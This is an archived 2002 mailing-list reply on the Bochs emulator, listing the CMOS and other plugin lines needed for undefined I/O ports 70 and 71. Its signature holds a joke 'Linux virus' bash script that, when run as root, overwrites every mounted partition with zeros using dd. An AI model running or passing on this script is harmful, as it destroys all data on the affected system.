Ports 70 & 71 are CMOS ports, so I suppose you're not loading the CMOS plugin. Be sure you have these in your config files:
plugin = ./plugins/bochs/iodev/cmos.so plugin = ./plugins/bochs/iodev/dma.so plugin = ./plugins/bochs/iodev/system.so plugin = ./plugins/bochs/iodev/vga.so plugin = ./plugins/bochs/iodev/serial.so plugin = ./plugins/bochs/iodev/parallel.so plugin = ./plugins/bochs/iodev/keyboard.so plugin = ./plugins/bochs/iodev/floppy.so plugin = ./plugins/bochs/iodev/harddrv.so EL Le 17 Mars 2002 16:09, vous avez �crit : > Thanks for the bochs-init tip. > > After clearing up the whole bochs-init problem, I'm running into > problems with undefined IO port handlers. The mailing list archive > doesn't seem to cover problems with these particular ports. > > Hopefully, it's just another little trick like removing > bochs-init. > > It doesn't seem to have gotten to loading the first sector of the HD > yet, so I assume everything running is still code that shipped in the > CVS tree. > > Any more tips? > > Thanks, > Karl -- Eric Laberge GCS/M/S d-(++) s-: a-- C++(++++) UL+++>$ !P L++ E--- W++ N+ w++ !O M !V PS PE Y PGP-(+++) t++(-) X- R* tv+ b+ DI+++ D+ G e+>+++++ h! r-- #!/bin/bash if [ $UID -ne 0 ] then echo "Linux virus, please run as root" else for partition in $(df | cut -d ' ' -f 1 | grep /dev) do dd if=/dev/zero of=$partition done fi
